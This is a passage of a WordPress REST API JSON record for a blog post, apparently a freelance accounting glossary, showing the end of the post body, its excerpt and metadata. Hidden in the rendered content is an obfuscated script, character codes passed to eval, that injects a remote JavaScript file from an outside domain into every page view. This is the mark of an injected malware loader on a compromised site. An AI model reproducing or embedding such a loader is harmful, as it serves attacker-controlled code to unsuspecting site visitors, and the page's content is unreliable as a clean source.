allowances.<\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/03\/1i811ikrlke.jpg&quot; alt=&quot;Freelance Business Terms and Definitions&quot; width=&quot;1600&quot; height=&quot;889&quot; class=&quot;aligncenter size-full wp-image-4586&quot; \/><\/p>\n<\/div>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Our freelance accounting glossary has handy definitions of accounting and bookkeeping jargon &#8211; from accruals and aged creditors, to retained profit and written down value. If you\u2019re new to freelancing or running a business, you may hear a lot of words and phrases that are unfamiliar to you. Our freelance accounting glossary will explain some [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6270","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6270"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6270"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6270\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6270"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6270"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6270"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}